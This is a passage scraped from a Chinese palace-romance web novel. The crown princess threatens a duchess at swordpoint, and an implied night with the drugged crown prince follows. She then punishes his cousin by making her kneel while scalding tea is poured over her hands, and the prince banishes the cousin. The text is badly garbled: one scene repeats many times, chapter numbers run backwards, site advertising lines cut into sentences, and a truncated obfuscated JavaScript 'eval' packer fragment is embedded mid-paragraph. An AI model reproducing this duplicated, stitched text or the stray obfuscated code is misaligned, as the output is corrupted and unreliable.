沈安若回头冷冷的看着二人。 “带路。” “你们最好祈祷太子没有什么不好的意外,不然本宫不介意**。” 想到了李清舒的执着,国公夫人一咬牙,上前伸手拉住沈安若。 “太子妃,这里是国公府,也是太子的家,太子在自己的家里不会出什么事的,你还是陪着我去看画像吧,让国公爷去请太子。” 这是有意要拖住自己啊,沈安若抬手一挥,直接挥开了国公夫人的手,声音里面带着清冷。 “带路,不要让本宫说第三遍。” 自己与沈安若茶都喝了几杯了,清舒一样太子待在一起这么久,只怕是已经………既然已经成为了定局,哪怕是清舒再不争气,做母亲的也只能替她争取,再次上前拦住沈安若。 “太子妃,你听我说…………” 沈安若神色一冷,抬手一把**出鞘,抵在国公夫人的脖子上,眼里杀意波动。 “带路!” 第一百三十一章 威逼 国公爷心里一惊急忙开口。 “太子妃这里是国公府。” 沈安若的手微微用力。 “那又如何?” “带路。” 看着沈安若眼里的杀意她这是真的准备杀了自己国公夫人吓得脸色苍白。 “我带路………这就带路…………” 虽然女儿的幸福重要可是自己的性命也重要啊。 几人急匆匆的朝书房赶去。 一路的下人见状都露出惊恐的表情。 刚刚进入书房的院子。 就见一个人从书房里面摔了出来直接破坏了门窗。 一道痛呼声响起。 “啊………………” 只见李清舒只有肚兜里裤的摔在地上嘴里一口鲜血吐了出来。 商玄澈衣衫有些凌乱整个人跌跌撞撞的走出来。 国公夫人眼里一急甚至都忘记了**还架在自己的脖子上急忙冲过去扶李清舒。 “清舒…………” 守在院子里的苍术也震惊的急忙上前担忧的开口。 “殿下…………” 沈安若眼神冰冷收起**疾步上前扶住差一点摔倒的商玄澈。 “商玄澈!” 商玄澈眼睛猩红紧紧的抓住沈安若的手。 “若若 “你相信我我没有对不起你。” 他的手滚烫的温度似乎要烫伤自己的肌肤听着他着急的语气沈安若急忙开口。 “我相信你我们这就回家。” 一边说一边扶着商玄澈朝外走。 猛然回头眼里都是杀意。 “镇国公这件事你最好能够给一个交代本宫可不是太子顾及不了什么情分。” 这凰仪公主自从来了天元对谁说话都是一副和和气气的模样没想到身上居然有这么重的杀意镇国公看的心里一惊原本准备开口说什么可是沈安若已经扶着商玄澈快步走远。 李清舒在国公夫人的搀扶下费劲的站起来嘴里的血腥味提醒着自己刚刚发生了什么明明就差一点就差一点自己就可以当上太子妃了。 没想到表哥宁愿自伤也不愿意碰自己或许是觉得委屈又或许是觉得**李清舒的眼泪不停地滚落下来。 看着她就身着肚兜镇国公只感觉今日自己的老脸都丢了个干净抬手扯下自己身上的披风丢在李清舒的身上。 “丢人现 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 眼的东西…………” 然后呵斥了一声院子里的下人。 “还不都退下?” 下人见状急忙离开。 国公夫人看着李清舒嘴角的血迹,又心疼又无奈。 “清舒,你怎么这么糊涂?你这样以后还怎么谈婚事?” 镇国公看着母女二人满脸的怒气。 “这就是你教出来的好女儿,女德都学到了狗肚子里去了。” 说完就甩袖离开。 国公夫人一边将披风拉紧裹住李清舒,一边忍不住掉眼泪,再不争气也是自己身上掉下来的一块肉啊,急忙扶着李清舒朝她的院子走去。 春桃在一旁颤颤抖抖的什么也不敢说。 一进李清舒的房间。 国公夫人再也忍不住。 “关门。” 听着身后的关门声,国公夫人抬手一巴掌打在李清舒的脸上。 “你知不知道,你这是毁了自己的一辈子。” 李清舒摸着自己的脸,一脸的疯魔。 “我这一辈子早就毁了。” “不是母亲你说的吗?我内定的太子妃,是将来母仪天下的皇后。” “我现在只是在争取我本该得到的东西,我何错之有?” 国公夫人伸手指着她。 “你…………你也 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可是她说的好像又没错,这些年不论是李家还是皇后都认定了她就是要嫁给太子的,就是下一任皇后,谁知怎么会冒出来一个和亲公主,太子又对沈安若情根深种。 看着国公夫人这样,李清舒又哭又笑。 “怎么?母亲这就很失望了吗?” “那我看着太子娶妻又是何等的绝望?” 国公夫人掉下了眼泪,心疼的上前抱住李清舒。 “清舒……………” 太子府。 马车一路急赶,直接从车门进了太子府。 沈安若的衣服已经被商玄澈拉扯得凌乱了起来。 此时的商玄澈已经理智不清,浑身都滚烫着。 沈安若紧紧的抓住他的手。 “商玄澈,再忍忍,马上到房间了。” 一进房间,沈安若就被商玄澈压在门上,他滚烫的吻也落了下来……………… 第一百三十二 跪着奉茶 “唔……………” 沈安若只感觉背部被硌得有些疼。 商玄澈伸手扯开她的衣服。 “若若………若若………是若若的对不对。” 说着滚烫的吻落在沈安若的脖子上。 沈安若任由他对自己索取,伸手替他解开腰带,凑近他的耳边轻声开口。 “对,是你的若若!” 随着二人的衣服掉落一地。 沈安若的手被举着扣在了门上,背后是他滚烫的腹肌。 地上的影子严丝合缝,交颈而缠…………… 一夜缠绵。 第二天一早,商玄澈换了衣服去上朝了。 沈安若睡到了中午醒来。 一醒来就感觉自己浑身就像是被碾碎过的一般。 “来人。” 王司记推门而入。 “殿下你醒了。” 沈安若趴在床上,神情带着几分迷糊。 “现在什么时辰了?” 王司记闻言开口道。 “殿下,午时了。” 肚子响起咕噜的声音,沈安若只感觉一阵饥饿感传来。 “都午时了啊,难怪我感觉这么饿。” 王司记一边给她取衣服一边开口。 “那妾身伺候殿下更衣洗漱,咱们吃了午膳以后再睡。” 沈安若无奈的坐起来。 “太子这个时候是不是该下朝了?” 王司记一边服侍沈安若穿衣服,看着她身上青青紫紫的痕迹,忍不住偷笑一下。 “是,太子府离皇宫有些远,不过也差不多再有半个时辰太子殿下就该回来了。” 随即又忽然想起了什么,看着沈安若的神色开口。 “殿下,国公夫人一早就带着李小姐前来赔罪了,因为太子殿下去上朝的时候交代了,不许吵醒殿下休息,妾身便让人在大厅等着,也吩咐人上了茶。” “太子殿下快回来了,太子妃可要先将人打发走?” 沈安若走向梳妆台前,看着还未拉好的外衫,脖子上露出色草莓印。 伸手抚摸了一下。 露出一抹笑意。 “倒是不必将人打发走。” “姨母,取一套低领的红色宫装过来给本宫换上。” “另外让人端午膳上来。” 大厅里。 李清舒昨夜都被打吐血了,今日一早又被迫前来道歉,整个人脸色都不太好,带着几分苍白眼底的黑眼圈极为 明显。 被晾在大厅里坐了一上午,李清舒早已经不耐烦了,看着已经见底的茶杯,满脸都带着怨气。 “母亲,我们就要被人一直冷落在这里吗?” “这都一上午过去了,到底是太子妃还未睡醒?还是有意要折辱我们?” 国公夫人看着李清舒这满脸怒气的模样,无奈的开口提醒道。 “把你现在一脸怨气的样子收一收,即便她是在折辱,我们也只能受着,现在没有你 理的是我们。” 李清舒紧紧捏着手帕。 “母亲,我们非要在这里受气不可吗?” “我要进宫找姑母做主。” 清舒真的是被气糊涂了,国公夫人看着她提醒道。 “你姑母做不了太子殿下的主,这件事情要是闹开了,丢脸的只会是我们国公。” “等到太子妃来了以后,你诚心诚意的给她道歉,希望她能够为太子考虑,将此事大事化小小事化了。” “不然要是传了出去,不论太子府还是国公府都会沦为皇城的笑柄。” 一想到要跟沈安若道歉,李清舒就感觉自己想死的心都有了。 “母亲,我求你了,我以后都听你的安排,你让我嫁给谁我就嫁给谁,我们先回去吧,太子妃今日只怕是不会见我们的。” 国公夫人沉思片刻。 “那也要等着,她若是真的不出现,就等你表哥下朝以后道歉。” 李清舒闻言还想准备再说什么。 国公夫人看着她冷声开口。 “清舒,就算你当真要破罐子破摔无所谓,你也要考虑你下面的两位妹妹一位弟弟还没有说亲事,你的兄长也才与海家定亲,若是国公府的名声毁了,你的兄长,你的弟弟妹妹都会婚事受挫。” 李清舒听了低下了头,拼命将心底的不甘心压下去。 “我知道了。” 终于,母女二人又喝了两杯茶,甚至因为到了午膳的时间,二人饥饿的吃了桌上的糕点。 才见沈安若一身火红的宫衣出现。 国公夫人拉着李清舒上前行礼。 “参见太子妃。” 沈安若浑身散发着冷意,嘴角勾起一抹嘲讽的笑意,一步步朝主位走去。 擦肩而过的时候,李清舒的余光看着她脖子上和锁骨上的红痕,指甲都掐入了手心。 随着沈安若坐到了主位上,母女二人也转身面朝沈安若,继续保持行礼的姿势。 沈安若慢悠悠的抬手 接过王司记递过来的茶,沉默着不说话。 国公夫人深呼吸一口气开口。 “太子妃,臣妇是带清舒来赔罪的。” 沈安若淡淡的看了她一眼。 “然后呢?” 国公夫人急忙扯了扯李清舒的衣服。 李清舒不情愿的跪下。 “表嫂,都是我一时鬼迷心窍了,求表嫂原谅,我已经知道错了,父亲母亲昨夜也罚过我了,我以后不会再动歪心思了。” 沈安若淡定的喝了一口茶。 “这茶有点烫。” 国公夫人在一旁急忙开口。 “清舒,还不去替你表嫂端茶。” 李清舒一脸**的上前。 “表嫂,我来替你端茶。” 沈安若将茶杯放在她的手里。 “不跪着吗?” 李清舒看着沈安若,咬牙切齿的开口。 “你别过分……………” 国公夫人见状急忙开口提醒。 “清舒!” 沈安若挑眉看着李清舒,明明是坐着的,可是那浑身的气势让李清舒忍不住发颤。 “这就是你道歉的诚意?” 李清舒只好端着茶杯跪下。 沈安若拿起桌子上的茶壶缓缓开口。 “这套茶壶是本宫从南诏带来的,因为是难得的瓷器,所以太子府的人打理的时候都小心翼翼的,甚至有不少来太子府串门的贵女都想跟本宫讨要。” 说着将茶水缓慢的倒进李清舒端着的茶杯里。 “可既然是心爱之物,本宫又岂会让给她人。” 滚烫的茶水溢出来,李清舒的手都被烫红了,可是面对沈安若浑身散发着冷意的样子,李清舒硬是不敢松手。 “本宫知道,这好东西嘛,总是有人惦记的,品行好的人还知道当面夸赞几句,这品行不端之人就惦记着偷窃。” 眼神带着冰冷的看着李清舒的眼睛。 “可这人啊,总要认清楚自己几斤几两,哪怕是不择手段的偷窃,也要考虑自己有几分本事端的稳这陶瓷茶杯。” “李小姐,你说本宫说得对吗?” 李清舒的双手已经通红。 国公夫人忍不住跪在她的身边。 “太子妃,是臣妇没有教育好女儿,给太子殿下和太子妃添堵了,求太子妃饶恕这一回,臣妇以后一定教育好清舒。” 沈安若却没有搭理她,只是依旧看着李清舒加茶水。 “李小姐为什么不说话?是本宫说的不对吗?” 李清舒咬着牙,看着自己的手,红着眼眶开口。 “太子妃说的对。” “是臣女不自量力了。” 沈安若闻言这才将茶壶放到桌子上,伸手端过她手里的茶杯,放在嘴边轻轻吹着。 国公夫人急忙伸手拉过李清舒的手监察,见手指上已经有了水泡,眼里闪过一抹心疼。 抬头看着沈安若。 “太子妃,你罚也罚了,能不能原谅清舒。” 沈安若慢悠悠的喝了一口茶。 “原谅?被下药的又不是本宫,你们不是应该求太子原谅吗?” 国公夫人急忙开口。 “太子妃娘娘,整个皇城,谁人不知谁人不晓太子殿下把太子妃娘娘捧在心尖上,只要太子妃娘娘你一句话,太子与李家的嫌隙也就解了。” 沈安若闻言不为所动,嘴角勾起一抹笑意,时不时的喝上一口茶。 国公夫人和李清舒只好就这样跪着。 商玄澈和镇国公走进来就看着母女二人跪着的一幕……………… 接过王司记递过来的茶,沉默着不说话。 国公夫人深呼吸一口气开口。 “太子妃,臣妇是带清舒来赔罪的。” 沈安若淡淡的看了她一眼。 “然后呢?” 国公夫人急忙扯了扯李清舒的衣服。 李清舒不情愿的跪下。 “表嫂,都是我一时鬼迷心窍了,求表嫂原谅,我已经知道错了,父亲母亲昨夜也罚过我了,我以后不会再动歪心思了。” 沈安若淡定的喝了一口茶。 “这茶有点烫。” 国公夫人在一旁急忙开口。 “清舒,还不去替你表嫂端茶。” 李清舒一脸**的上前。 “表嫂,我来替你端茶。” 沈安若将茶杯放在她的手里。 “不跪着吗?” 李清舒看着沈安若,咬牙切齿的开口。 “你别过分……………” 国公夫人见状急忙开口提醒。 “清舒!” 沈安若挑眉看着李清舒,明明是坐着的,可是那浑身的气势让李清舒忍不住发颤。 “这就是你道歉的诚意?” 李清舒只好端着茶杯跪下。 沈安若拿起桌子上的茶壶缓缓开口。 “这套茶壶是本宫从南诏带来的,因为是难得的瓷器,所以太子府的人打理的时候都小心翼翼的,甚至有不少来太子府串门的贵女都想跟本宫讨要。” 说着将茶水缓慢的倒进李清舒端着的茶杯里。 “可既然是心爱之物,本宫又岂会让给她人。” 滚烫的茶水溢出来,李清舒的手都被烫红了,可是面对沈安若浑身散发着冷意的样子,李清舒硬是不敢松手。 “本宫知道,这好东西嘛,总是有人惦记的,品行好的人还知道当面夸赞几句,这品行不端之人就惦记着偷窃。” 眼神带着冰冷的看着李清舒的眼睛。 “可这人啊,总要认清楚自己几斤几两,哪怕是不择手段的偷窃,也要考虑自己有几分本事端的稳这陶瓷茶杯。” “李小姐,你说本宫说得对吗?” 李清舒的双手已经通红。 国公夫人忍不住跪在她的身边。 “太子妃,是臣妇没有教育好女儿,给太子殿下和太子妃添堵了,求太子妃饶恕这一回,臣妇以后一定教育好清舒。” 沈安若却没有搭理她,只是依旧看着李清舒加茶水。 “李小姐为什么不说话?是本宫说的不对吗?” 李清舒咬着牙,看着自己的手,红着眼眶开口。 “太子妃说的对。” “是臣女不自量力了。” 沈安若闻言这才将茶壶放到桌子上,伸手端过她手里的茶杯,放在嘴边轻轻吹着。 国公夫人急忙伸手拉过李清舒的手监察,见手指上已经有了水泡,眼里闪过一抹心疼。 抬头看着沈安若。 “太子妃,你罚也罚了,能不能原谅清舒。” 沈安若慢悠悠的喝了一口茶。 “原谅?被下药的又不是本宫,你们不是应该求太子原谅吗?” 国公夫人急忙开口。 “太子妃娘娘,整个皇城,谁人不知谁人不晓太子殿下把太子妃娘娘捧在心尖上,只要太子妃娘娘你一句话,太子与李家的嫌隙也就解了。” 沈安若闻言不为所动,嘴角勾起一抹笑意,时不时的喝上一口茶。 国公夫人和李清舒只好就这样跪着。 商玄澈和镇国公走进来就看着母女二人跪着的一幕……………… 接过王司记递过来的茶,沉默着不说话。 国公夫人深呼吸一口气开口。 “太子妃,臣妇是带清舒来赔罪的。” 沈安若淡淡的看了她一眼。 “然后呢?” 国公夫人急忙扯了扯李清舒的衣服。 李清舒不情愿的跪下。 “表嫂,都是我一时鬼迷心窍了,求表嫂原谅,我已经知道错了,父亲母亲昨夜也罚过我了,我以后不会再动歪心思了。” 沈安若淡定的喝了一口茶。 “这茶有点烫。” 国公夫人在一旁急忙开口。 “清舒,还不去替你表嫂端茶。” 李清舒一脸**的上前。 “表嫂,我来替你端茶。” 沈安若将茶杯放在她的手里。 “不跪着吗?” 李清舒看着沈安若,咬牙切齿的开口。 “你别过分……………” 国公夫人见状急忙开口提醒。 “清舒!” 沈安若挑眉看着李清舒,明明是坐着的,可是那浑身的气势让李清舒忍不住发颤。 “这就是你道歉的诚意?” 李清舒只好端着茶杯跪下。 沈安若拿起桌子上的茶壶缓缓开口。 “这套茶壶是本宫从南诏带来的,因为是难得的瓷器,所以太子府的人打理的时候都小心翼翼的,甚至有不少来太子府串门的贵女都想跟本宫讨要。” 说着将茶水缓慢的倒进李清舒端着的茶杯里。 “可既然是心爱之物,本宫又岂会让给她人。” 滚烫的茶水溢出来,李清舒的手都被烫红了,可是面对沈安若浑身散发着冷意的样子,李清舒硬是不敢松手。 “本宫知道,这好东西嘛,总是有人惦记的,品行好的人还知道当面夸赞几句,这品行不端之人就惦记着偷窃。” 眼神带着冰冷的看着李清舒的眼睛。 “可这人啊,总要认清楚自己几斤几两,哪怕是不择手段的偷窃,也要考虑自己有几分本事端的稳这陶瓷茶杯。” “李小姐,你说本宫说得对吗?” 李清舒的双手已经通红。 国公夫人忍不住跪在她的身边。 “太子妃,是臣妇没有教育好女儿,给太子殿下和太子妃添堵了,求太子妃饶恕这一回,臣妇以后一定教育好清舒。” 沈安若却没有搭理她,只是依旧看着李清舒加茶水。 “李小姐为什么不说话?是本宫说的不对吗?” 李清舒咬着牙,看着自己的手,红着眼眶开口。 “太子妃说的对。” “是臣女不自量力了。” 沈安若闻言这才将茶壶放到桌子上,伸手端过她手里的茶杯,放在嘴边轻轻吹着。 国公夫人急忙伸手拉过李清舒的手监察,见手指上已经有了水泡,眼里闪过一抹心疼。 抬头看着沈安若。 “太子妃,你罚也罚了,能不能原谅清舒。” 沈安若慢悠悠的喝了一口茶。 “原谅?被下药的又不是本宫,你们不是应该求太子原谅吗?” 国公夫人急忙开口。 “太子妃娘娘,整个皇城,谁人不知谁人不晓太子殿下把太子妃娘娘捧在心尖上,只要太子妃娘娘你一句话,太子与李家的嫌隙也就解了。” 沈安若闻言不为所动,嘴角勾起一抹笑意,时不时的喝上一口茶。 国公夫人和李清舒只好就这样跪着。 商玄澈和镇国公走进来就看着母女二人跪着的一幕……………… 接过王司记递过来的茶,沉默着不说话。 国公夫人深呼吸一口气开口。 “太子妃,臣妇是带清舒来赔罪的。” 沈安若淡淡的看了她一眼。 “然后呢?” 国公夫人急忙扯了扯李清舒的衣服。 李清舒不情愿的跪下。 “表嫂,都是我一时鬼迷心窍了,求表嫂原谅,我已经知道错了,父亲母亲昨夜也罚过我了,我以后不会再动歪心思了。” 沈安若淡定的喝了一口茶。 “这茶有点烫。” 国公夫人在一旁急忙开口。 “清舒,还不去替你表嫂端茶。” 李清舒一脸**的上前。 “表嫂,我来替你端茶。” 沈安若将茶杯放在她的手里。 “不跪着吗?” 李清舒看着沈安若,咬牙切齿的开口。 “你别过分……………” 国公夫人见状急忙开口提醒。 “清舒!” 沈安若挑眉看着李清舒,明明是坐着的,可是那浑身的气势让李清舒忍不住发颤。 “这就是你道歉的诚意?” 李清舒只好端着茶杯跪下。 沈安若拿起桌子上的茶壶缓缓开口。 “这套茶壶是本宫从南诏带来的,因为是难得的瓷器,所以太子府的人打理的时候都小心翼翼的,甚至有不少来太子府串门的贵女都想跟本宫讨要。” 说着将茶水缓慢的倒进李清舒端着的茶杯里。 “可既然是心爱之物,本宫又岂会让给她人。” 滚烫的茶水溢出来,李清舒的手都被烫红了,可是面对沈安若浑身散发着冷意的样子,李清舒硬是不敢松手。 “本宫知道,这好东西嘛,总是有人惦记的,品行好的人还知道当面夸赞几句,这品行不端之人就惦记着偷窃。” 眼神带着冰冷的看着李清舒的眼睛。 “可这人啊,总要认清楚自己几斤几两,哪怕是不择手段的偷窃,也要考虑自己有几分本事端的稳这陶瓷茶杯。” “李小姐,你说本宫说得对吗?” 李清舒的双手已经通红。 国公夫人忍不住跪在她的身边。 “太子妃,是臣妇没有教育好女儿,给太子殿下和太子妃添堵了,求太子妃饶恕这一回,臣妇以后一定教育好清舒。” 沈安若却没有搭理她,只是依旧看着李清舒加茶水。 “李小姐为什么不说话?是本宫说的不对吗?” 李清舒咬着牙,看着自己的手,红着眼眶开口。 “太子妃说的对。” “是臣女不自量力了。” 沈安若闻言这才将茶壶放到桌子上,伸手端过她手里的茶杯,放在嘴边轻轻吹着。 国公夫人急忙伸手拉过李清舒的手监察,见手指上已经有了水泡,眼里闪过一抹心疼。 抬头看着沈安若。 “太子妃,你罚也罚了,能不能原谅清舒。” 沈安若慢悠悠的喝了一口茶。 “原谅?被下药的又不是本宫,你们不是应该求太子原谅吗?” 国公夫人急忙开口。 “太子妃娘娘,整个皇城,谁人不知谁人不晓太子殿下把太子妃娘娘捧在心尖上,只要太子妃娘娘你一句话,太子与李家的嫌隙也就解了。” 沈安若闻言不为所动,嘴角勾起一抹笑意,时不时的喝上一口茶。 国公夫人和李清舒只好就这样跪着。 商玄澈和镇国公走进来就看着母女二人跪着的一幕……………… 接过王司记递过来的茶,沉默着不说话。 国公夫人深呼吸一口气开口。 “太子妃,臣妇是带清舒来赔罪的。” 沈安若淡淡的看了她一眼。 “然后呢?” 国公夫人急忙扯了扯李清舒的衣服。 李清舒不情愿的跪下。 “表嫂,都是我一时鬼迷心窍了,求表嫂原谅,我已经知道错了,父亲母亲昨夜也罚过我了,我以后不会再动歪心思了。” 沈安若淡定的喝了一口茶。 “这茶有点烫。” 国公夫人在一旁急忙开口。 “清舒,还不去替你表嫂端茶。” 李清舒一脸**的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“李小姐为什么不说话?是本宫说的不对吗?” 李清舒咬着牙,看着自己的手,红着眼眶开口。 “太子妃说的对。” “是臣女不自量力了。” 沈安若闻言这才将茶壶放到桌子上,伸手端过她手里的茶杯,放在嘴边轻轻吹着。 国公夫人急忙伸手拉过李清舒的手监察,见手指上已经有了水泡,眼里闪过一抹心疼。 抬头看着沈安若。 “太子妃,你罚也罚了,能不能原谅清舒。” 沈安若慢悠悠的喝了一口茶。 “原谅?被下药的又不是本宫,你们不是应该求太子原谅吗?” 国公夫人急忙开口。 “太子妃娘娘,整个皇城,谁人不知谁人不晓太子殿下把太子妃娘娘捧在心尖上,只要太子妃娘娘你一句话,太子与李家的嫌隙也就解了。” 沈安若闻言不为所动,嘴角勾起一抹笑意,时不时的喝上一口茶。 国公夫人和李清舒只好就这样跪着。 商玄澈和镇国公走进来就看着母女二人跪着的一幕……………… 接过王司记递过来的茶,沉默着不说话。 国公夫人深呼吸一口气开口。 “太子妃,臣妇是带清舒来赔罪的。” 沈安若淡淡的看了她一眼。 “然后呢?” 国公夫人急忙扯了扯李清舒的衣服。 李清舒不情愿的跪下。 “表嫂,都是我一时鬼迷心窍了,求表嫂原谅,我已经知道错了,父亲母亲昨夜也罚过我了,我以后不会再动歪心思了。” 沈安若淡定的喝了一口茶。 “这茶有点烫。” 国公夫人在一旁急忙开口。 “清舒,还不去替你表嫂端茶。” 李清舒一脸**的上前。 “表嫂,我来替你端茶。” 沈安若将茶杯放在她的手里。 “不跪着吗?” 李清舒看着沈安若,咬牙切齿的开口。 “你别过分……………” 国公夫人见状急忙开口提醒。 “清舒!” 沈安若挑眉看着李清舒,明明是坐着的,可是那浑身的气势让李清舒忍不住发颤。 “这就是你道歉的诚意?” 李清舒只好端着茶杯跪下。 沈安若拿起桌子上的茶壶缓缓开口。 “这套茶壶是本宫从南诏带来的,因为是难得的瓷器,所以太子府的人打理的时候都小心翼翼的,甚至有不少来太子府串门的贵女都想跟本宫讨要。” 说着将茶水缓慢的倒进李清舒端着的茶杯里。 “可既然是心爱之物,本宫又岂会让给她人。” 滚烫的茶水溢出来,李清舒的手都被烫红了,可是面对沈安若浑身散发着冷意的样子,李清舒硬是不敢松手。 “本宫知道,这好东西嘛,总是有人惦记的,品行好的人还知道当面夸赞几句,这品行不端之人就惦记着偷窃。” 眼神带着冰冷的看着李清舒的眼睛。 “可这人啊,总要认清楚自己几斤几两,哪怕是不择手段的偷窃,也要考虑自己有几分本事端的稳这陶瓷茶杯。” “李小姐,你说本宫说得对吗?” 李清舒的双手已经通红。 国公夫人忍不住跪在她的身边。 “太子妃,是臣妇没有教育好女儿,给太子殿下和太子妃添堵了,求太子妃饶恕这一回,臣妇以后一定教育好清舒。” 沈安若却没有搭理她,只是依旧看着李清舒加茶水。 “李小姐为什么不说话?是本宫说的不对吗?” 李清舒咬着牙,看着自己的手,红着眼眶开口。 “太子妃说的对。” “是臣女不自量力了。” 沈安若闻言这才将茶壶放到桌子上,伸手端过她手里的茶杯,放在嘴边轻轻吹着。 国公夫人急忙伸手拉过李清舒的手监察,见手指上已经有了水泡,眼里闪过一抹心疼。 抬头看着沈安若。 “太子妃,你罚也罚了,能不能原谅清舒。” 沈安若慢悠悠的喝了一口茶。 “原谅?被下药的又不是本宫,你们不是应该求太子原谅吗?” 国公夫人急忙开口。 “太子妃娘娘,整个皇城,谁人不知谁人不晓太子殿下把太子妃娘娘捧在心尖上,只要太子妃娘娘你一句话,太子与李家的嫌隙也就解了。” 沈安若闻言不为所动,嘴角勾起一抹笑意,时不时的喝上一口茶。 国公夫人和李清舒只好就这样跪着。 商玄澈和镇国公走进来就看着母女二人跪着的一幕……………… 接过王司记递过来的茶,沉默着不说话。 国公夫人深呼吸一口气开口。 “太子妃,臣妇是带清舒来赔罪的。” 沈安若淡淡的看了她一眼。 “然后呢?” 国公夫人急忙扯了扯李清舒的衣服。 李清舒不情愿的跪下。 “表嫂,都是我一时鬼迷心窍了,求表嫂原谅,我已经知道错了,父亲母亲昨夜也罚过我了,我以后不会再动歪心思了。” 沈安若淡定的喝了一口茶。 “这茶有点烫。” 国公夫人在一旁急忙开口。 “清舒,还不去替你表嫂端茶。” 李清舒一脸**的上前。 “表嫂,我来替你端茶。” 沈安若将茶杯放在她的手里。 “不跪着吗?” 李清舒看着沈安若,咬牙切齿的开口。 “你别过分……………” 国公夫人见状急忙开口提醒。 “清舒!” 沈安若挑眉看着李清舒,明明是坐着的,可是那浑身的气势让李清舒忍不住发颤。 “这就是你道歉的诚意?” 李清舒只好端着茶杯跪下。 沈安若拿起桌子上的茶壶缓缓开口。 “这套茶壶是本宫从南诏带来的,因为是难得的瓷器,所以太子府的人打理的时候都小心翼翼的,甚至有不少来太子府串门的贵女都想跟本宫讨要。” 说着将茶水缓慢的倒进李清舒端着的茶杯里。 “可既然是心爱之物,本宫又岂会让给她人。” 滚烫的茶水溢出来,李清舒的手都被烫红了,可是面对沈安若浑身散发着冷意的样子,李清舒硬是不敢松手。 “本宫知道,这好东西嘛,总是有人惦记的,品行好的人还知道当面夸赞几句,这品行不端之人就惦记着偷窃。” 眼神带着冰冷的看着李清舒的眼睛。 “可这人啊,总要认清楚自己几斤几两,哪怕是不择手段的偷窃,也要考虑自己有几分本事端的稳这陶瓷茶杯。” “李小姐,你说本宫说得对吗?” 李清舒的双手已经通红。 国公夫人忍不住跪在她的身边。 “太子妃,是臣妇没有教育好女儿,给太子殿下和太子妃添堵了,求太子妃饶恕这一回,臣妇以后一定教育好清舒。” 沈安若却没有搭理她,只是依旧看着李清舒加茶水。 “李小姐为什么不说话?是本宫说的不对吗?” 李清舒咬着牙,看着自己的手,红着眼眶开口。 “太子妃说的对。” “是臣女不自量力了。” 沈安若闻言这才将茶壶放到桌子上,伸手端过她手里的茶杯,放在嘴边轻轻吹着。 国公夫人急忙伸手拉过李清舒的手监察,见手指上已经有了水泡,眼里闪过一抹心疼。 抬头看着沈安若。 “太子妃,你罚也罚了,能不能原谅清舒。” 沈安若慢悠悠的喝了一口茶。 “原谅?被下药的又不是本宫,你们不是应该求太子原谅吗?” 国公夫人急忙开口。 “太子妃娘娘,整个皇城,谁人不知谁人不晓太子殿下把太子妃娘娘捧在心尖上,只要太子妃娘娘你一句话,太子与李家的嫌隙也就解了。” 沈安若闻言不为所动,嘴角勾起一抹笑意,时不时的喝上一口茶。 国公夫人和李清舒只好就这样跪着。 商玄澈和镇国公走进来就看着母女二人跪着的一幕……………… 第一百二十四 本宫不是与你商议 镇国公神色变得有些难堪。 “殿下。 商玄澈则扫视了一眼李清舒与国公夫人,朝沈安若走去,坐到了她的身边。 “若若。 沈安若抬头看着他一脸的笑意。 “殿下下朝回来了。 商玄澈点了点头。 “可用过午膳了。 居然是先关心自己有没有吃饭,沈安若脸上的笑意又更甚了几分。 “用过了。 “殿下你这表妹一早来道歉,帮我端茶水的时候手貌似烫红了,殿下不会怪我吧? 商玄澈闻言拉过她的手看了看。 “不会,你做事自有你的道理,更何况,做错事情本就该罚。 沈安若这才收回手。 “既然殿下回来了,那就殿下自己处理吧。 说完就站起身来。 商玄澈见她要走,伸手拉住她的手让她坐下,目光这才看向跪在地上的母女二人。 “舅母和清舒起来坐下说话吧。 国公夫人这才拉着李清舒起来,看来太子殿下还是会给国公府留着情面的,只要太子殿下还念及旧情,这件事便会大事化小,小事化了。 “多谢太子殿下! 商玄澈看着镇国公。 “舅舅也坐吧。 镇国公看了一眼李清舒,目光里带着几分责备。 “臣多谢殿下。 商玄澈捏了捏沈安若的手,看着镇国公开口。 “舅舅,今夜之前让清舒离开皇城,去舅舅的柚阳老家,舅舅可以在柚阳给她寻一门亲事,此生她不得离开柚阳一步。 镇国公闻言,脸色一惊,急忙起身跪下声音带着几分哀求。 “殿下,清舒她虽有过错,但毕竟年纪尚小,一时糊涂,还望殿下开恩。 国公夫人一听,也慌了神,连忙跟着跪下,泪水在眼眶里打转。 “殿下,清舒这孩子自小娇生惯养,柚阳偏远,清舒哪能受得了那偏远之地的苦啊。她只是一时鬼迷心窍,才会做出那等错事,求殿下看在皇后娘娘的份上,再给她一次机会吧。 说着,还用力拉了拉李清舒的衣袖,示意她也赶紧求饶。 李清舒咬着嘴唇,眼中满是**与不甘,但终究还是跪下,带着哭腔说道。 “殿下,清舒知错了,求殿下不要赶我走,我以后再也不敢出现在殿下面前来。 商玄澈神色冷峻,目光扫过跪地的三人,语 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 气坚定而决绝。 “舅舅本宫不是跟你商议。” 镇国公抬头看着一脸威严的商玄澈脑海里过往的回忆上来。 七八岁的商玄澈站在自己的面前。 “舅舅为什么父皇就是不喜欢我?” “舅舅你帮帮澈儿好不好。” “舅舅我今日已经能够射中九环了………” “舅舅去了兵营以后我会努力一步步爬上去的我要让母后以我为骄傲。” “舅舅………………” 终究那个求自己庇护的落魄皇子还是成长为天元手握兵权的储君了。 “臣遵命。” 李清舒见状抬头看着商玄澈眼里带着恨意。 “太子殿下就当真如此狠心?” 镇国公急忙开口。 “住嘴。” “你这逆女。” 然后朝商玄澈拱手。 “殿下请放心臣一定会管好她若是她有朝一日再有害殿下的心思臣自己了结她。” 李清舒闻言满眼不可置信地看着镇国公。 “父亲…………” 镇国公却扯着她的手臂起身。 “走回去收拾东西今夜就送你回柚阳。” 看着镇国公几人离开的背影。 商玄澈忽然开口。 “舅舅。” 镇国公回头拱手。 “殿下。” 商玄澈缓缓开口。 “马上到春闱了让表弟好好准备。” 看来太子并未因为清舒迁怒国公府镇国公急忙开口。 “是殿下放心臣一定让清丰好好准备以后也好为殿下效力。” 因为等春闱过后要寻访粮仓沈安若接下来在商玄澈上朝的时候都外出查探自己的铺子在玉儿和南诏带来的做糕点的厨娘的努力下皇城已经开了好几家鲜花饼铺子而且生意红火。 沈安若甚至还开了一家首饰店打造南诏少数民族各种首饰在天元皇城售卖。 